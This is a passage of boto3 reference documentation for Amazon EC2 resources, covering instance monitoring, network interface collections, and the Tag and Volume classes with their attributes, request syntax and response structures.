the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = subnet.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +[Tag](#id1254) +---------------------------------------------------- + +_class_ EC2.Tag(_resource_id_, _key_, _value_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Tag: + +import boto3 + +ec2 = boto3.resource('ec2') +tag = ec2.Tag('resource_id','key','value') + +Parameters + +* **resource_id** (_string_) -- The Tag's resource_id identifier. This **must** be set. +* **key** (_string_) -- The Tag's key identifier. This **must** be set. +* **value** (_string_) -- The Tag's value identifier. This **must** be set. + +These are the resource's available identifiers: + +* [resource_id](#EC2.Tag.resource_id "EC2.Tag.resource_id") +* [key](#EC2.Tag.key "EC2.Tag.key") +* [value](#EC2.Tag.value "EC2.Tag.value") + +These are the resource's available attributes: + +* [resource_type](#EC2.Tag.resource_type "EC2.Tag.resource_type") + +These are the resource's available actions: + +* [delete()](#EC2.Tag.delete "EC2.Tag.delete") +* [get_available_subresources()](#EC2.Tag.get_available_subresources "EC2.Tag.get_available_subresources") +* [load()](#EC2.Tag.load "EC2.Tag.load") +* [reload()](#EC2.Tag.reload "EC2.Tag.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_id + +_(string)_ The Tag's resource_id identifier. This **must** be set. + +key + +_(string)_ The Tag's key identifier. This **must** be set. + +value + +_(string)_ The Tag's value identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Tag.load "EC2.Tag.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_type + +* _(string) --_ + + The resource type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTags) + +**Request Syntax** + +response = tag.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +tag.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +tag.reload() + +Returns + +None + +[Volume](#id1255) +---------------------------------------------------------- + +_class_ EC2.Volume(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Volume: + +import boto3 + +ec2 = boto3.resource('ec2') +volume = ec2.Volume('id') + +Parameters + +**id** (_string_) -- The Volume's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Volume.id "EC2.Volume.id") + +These are the resource's available attributes: + +* [attachments](#EC2.Volume.attachments "EC2.Volume.attachments") +* [availability_zone](#EC2.Volume.availability_zone "EC2.Volume.availability_zone") +* [create_time](#EC2.Volume.create_time "EC2.Volume.create_time") +* [encrypted](#EC2.Volume.encrypted "EC2.Volume.encrypted") +* [fast_restored](#EC2.Volume.fast_restored "EC2.Volume.fast_restored") +* [iops](#EC2.Volume.iops "EC2.Volume.iops") +* [kms_key_id](#EC2.Volume.kms_key_id "EC2.Volume.kms_key_id") +* [multi_attach_enabled](#EC2.Volume.multi_attach_enabled "EC2.Volume.multi_attach_enabled") +* [outpost_arn](#EC2.Volume.outpost_arn "EC2.Volume.outpost_arn") +* [size](#EC2.Volume.size "EC2.Volume.size") +* [snapshot_id](#EC2.Volume.snapshot_id "EC2.Volume.snapshot_id") +* [state](#EC2.Volume.state "EC2.Volume.state") +* [tags](#EC2.Volume.tags "EC2.Volume.tags") +* [throughput](#EC2.Volume.throughput "EC2.Volume.throughput") +* [volume_id](#EC2.Volume.volume_id "EC2.Volume.volume_id") +* [volume_type](#EC2.Volume.volume_type "EC2.Volume.volume_type") + +These are the resource's available actions: + +* [attach_to_instance()](#EC2.Volume.attach_to_instance "EC2.Volume.attach_to_instance") +* [create_snapshot()](#EC2.Volume.create_snapshot "EC2.Volume.create_snapshot") +* [create_tags()](#EC2.Volume.create_tags "EC2.Volume.create_tags") +* [delete()](#EC2.Volume.delete "EC2.Volume.delete") +* [describe_attribute()](#EC2.Volume.describe_attribute "EC2.Volume.describe_attribute") +* [describe_status()](#EC2.Volume.describe_status "EC2.Volume.describe_status") +* [detach_from_instance()](#EC2.Volume.detach_from_instance "EC2.Volume.detach_from_instance") +* [enable_io()](#EC2.Volume.enable_io "EC2.Volume.enable_io") +* [get_available_subresources()](#EC2.Volume.get_available_subresources "EC2.Volume.get_available_subresources") +* [load()](#EC2.Volume.load "EC2.Volume.load") +* [modify_attribute()](#EC2.Volume.modify_attribute "EC2.Volume.modify_attribute") +* [reload()](#EC2.Volume.reload "EC2.Volume.reload") + +These are the resource's available collections: + +* [snapshots](#EC2.Volume.snapshots "EC2.Volume.snapshots") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Volume's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Volume.load "EC2.Volume.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +* _(list) --_ + + Information about the volume attachments. + + * _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +availability_zone + +* _(string) --_ + + The Availability Zone for the volume. + + +create_time + +* _(datetime) --_ + + The time stamp when volume creation was initiated. + + +encrypted + +* _(boolean) --_ + + Indicates whether the volume is encrypted. + + +fast_restored + +* _(boolean) --_ + + Indicates whether the volume was created using fast snapshot restore. + + +iops + +* _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the volume. + + +multi_attach_enabled + +* _(boolean) --_ + + Indicates whether Amazon EBS Multi-Attach is enabled. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +size + +* _(integer) --_ + + The size of the volume, in GiBs. + + +snapshot_id + +* _(string) --_ + + The snapshot from which the volume was created, if applicable. + + +state + +* _(string) --_ + + The volume state. + + +tags + +* _(list) --_ + + Any tags assigned to the volume. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +throughput + +* _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + +volume_id + +* _(string) --_ + + The ID of the volume. + + +volume_type + +* _(string) --_ + + The volume type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_instance(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +* The volume can be attached only to a stopped instance. +* AWS Marketplace product codes are copied from the volume to the instance. +* You must be subscribed to the product. +* The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVolume) + +**Request Syntax** + +response = volume.attach_to_instance( + Device='string', + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- + + **[REQUIRED]** + + The device name (for example, /dev/sdh or xvdh ). + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +create_snapshot(kwargs_) + +Creates a snapshot of an EBS volume and stores it in Amazon S3. You can use snapshots for backups, to make copies of EBS volumes, and to save data before shutting down an instance. + +When a snapshot is created, any AWS Marketplace product codes that are associated with the source volume are propagated to the snapshot. + +You can take a snapshot of an attached volume that is in use. However, snapshots only capture data that has been written to your EBS volume at the time the snapshot command is issued; this might exclude any data that has been cached by any applications or the operating system. If you can pause any file systems on the volume long enough to take a snapshot, your snapshot should be complete. However, if you cannot pause all file writes to the volume, you should unmount the volume from within the instance, issue the snapshot command, and then remount the volume to ensure a consistent and complete snapshot. You may remount and use your volume while the snapshot status is pending . + +To create a snapshot for EBS volumes that serve as root devices, you should stop the instance before taking the snapshot. + +Snapshots that are taken from encrypted volumes are automatically encrypted. Volumes that are created from encrypted snapshots are also automatically encrypted. Your encrypted volumes and any associated snapshots always remain protected. + +You can tag your snapshots during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Amazon Elastic Block Store](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) and [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSnapshot) + +**Request Syntax** + +snapshot = volume.create_snapshot( + Description='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the snapshot. +* **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1122)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1124)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Snapshot + +Returns + +Snapshot resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = volume.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified EBS volume. The volume must be in the available state (not attached to an instance). + +The volume can remain in the deleting state for several minutes. + +For more information, see [Deleting an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVolume) + +**Request Syntax** + +response = volume.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified volume. You can specify only one attribute at a time. + +For more information about EBS volumes, see [Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeAttribute) + +**Request Syntax** + +response = volume.describe_attribute( + Attribute='autoEnableIO'|'productCodes', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute of the volume. This parameter is required. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AutoEnableIO': { + 'Value': True|False + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'VolumeId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AutoEnableIO** _(dict) --_ + + The state of autoEnableIO attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **ProductCodes** _(list) --_ + + A list of product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + +describe_status(kwargs_) + +Describes the status of the specified volumes. Volume status provides the result of the checks performed on your volumes to determine events that can impair the performance of your volumes. The performance of a volume can be affected if an issue occurs on the volume's underlying host. If the volume's underlying host experiences a power outage or system issue, after the system is restored, there could be data inconsistencies on the volume. Volume events notify you if this occurs. Volume actions notify you if any action needs to be taken in response to the event. + +The DescribeVolumeStatus operation provides the following information about the specified volumes: + +> _Status_ : Reflects the current status of the volume. The possible values are ok , impaired , warning , or insufficient-data . If all checks pass, the overall status of the volume is ok . If the check fails, the overall status is impaired . If the status is insufficient-data , then the checks might still be taking place on your volume at the time. We recommend that you retry the request. For more information about volume status, see [Monitoring the status of your volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-volume-status.html) in the _Amazon Elastic Compute Cloud User Guide_ . +> +> _Events_ : Reflect the cause of a volume status and might require you to take action. For example, if your volume returns an impaired status, then the volume event might be potential-data-inconsistency . This means that your volume has been affected by an issue with the underlying host, has all I/O operations disabled, and might have inconsistent data. +> +> _Actions_ : Reflect the actions you might have to take in response to an event. For example, if the status of the volume is impaired and the volume event shows potential-data-inconsistency , then the action shows enable-volume-io . This means that you may want to enable the I/O operations for the volume by calling the EnableVolumeIO action and then check the volume for data consistency. + +Volume status is based on the volume status checks, and does not reflect the volume state. Therefore, volume status does not indicate volumes in the error state (for example, when a volume is incapable of accepting I/O.) + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeStatus) + +**Request Syntax** + +response = volume.describe_status( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * action.code - The action code for the event (for example, enable-volume-io ). + * action.description - A description of the action. + * action.event-id - The event ID associated with the action. + * availability-zone - The Availability Zone of the instance. + * event.description - A description of the event. + * event.event-id - The event ID. + * event.event-type - The event type (for io-enabled : passed | failed ; for io-performance : io-performance:degraded | io-performance:severely-degraded | io-performance:stalled ). + * event.not-after - The latest end time for the event. + * event.not-before - The earliest start time for the event. + * volume-status.details-name - The cause for volume-status.status (io-enabled | io-performance ). + * volume-status.details-status - The status of volume-status.details-name (for io-enabled : passed | failed ; for io-performance : normal | degraded | severely-degraded | stalled ). + * volume-status.status - The status of the volume (ok | impaired | warning | insufficient-data ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumeStatus in paginated output. When this parameter is used, the request only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeVolumeStatus returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value to include in a future DescribeVolumeStatus request. When the results of the request exceed MaxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'VolumeStatuses': [ + { + 'Actions': [ + { + 'Code': 'string', + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string' + }, + ], + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'InstanceId': 'string' + }, + ], + 'VolumeId': 'string', + 'VolumeStatus': { + 'Details': [ + { + 'Name': 'io-enabled'|'io-performance', + 'Status': 'string' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data' + }, + 'AttachmentStatuses': [ + { + 'IoPerformance': 'string', + 'InstanceId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **VolumeStatuses** _(list) --_ + + Information about the status of the volumes. + + * _(dict) --_ + + Describes the volume status. + + * **Actions** _(list) --_ + + The details of the operation. + + * _(dict) --_ + + Describes a volume status operation code. + + * **Code** _(string) --_ + + The code identifying the operation, for example, enable-volume-io . + + * **Description** _(string) --_ + + A description of the operation. + + * **EventId** _(string) --_ + + The ID of the event associated with this operation. + + * **EventType** _(string) --_ + + The event type associated with this operation. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the volume. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **Events** _(list) --_ + + A list of events associated with the volume. + + * _(dict) --_ + + Describes a volume status event. + + * **Description** _(string) --_ + + A description of the event. + + * **EventId** _(string) --_ + + The ID of this event. + + * **EventType** _(string) --_ + + The type of this event. + + * **NotAfter** _(datetime) --_ + + The latest end time of the event. + + * **NotBefore** _(datetime) --_ + + The earliest start time of the event. + + * **InstanceId** _(string) --_ + + The ID of the instance associated with the event. + + * **VolumeId** _(string) --_ + + The volume ID. + + * **VolumeStatus** _(dict) --_ + + The volume status. + + * **Details** _(list) --_ + + The details of the volume status. + + * _(dict) --_ + + Describes a volume status. + + * **Name** _(string) --_ + + The name of the volume status. + + * **Status** _(string) --_ + + The intended status of the volume status. + + * **Status** _(string) --_ + + The status of the volume. + + * **AttachmentStatuses** _(list) --_ + + Information about the instances to which the volume is attached. + + * _(dict) --_ + + Information about the instances to which the volume is attached. + + * **IoPerformance** _(string) --_ + + The maximum IOPS supported by the attached instance. + + * **InstanceId** _(string) --_ + + The ID of the attached instance. + + +detach_from_instance(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute 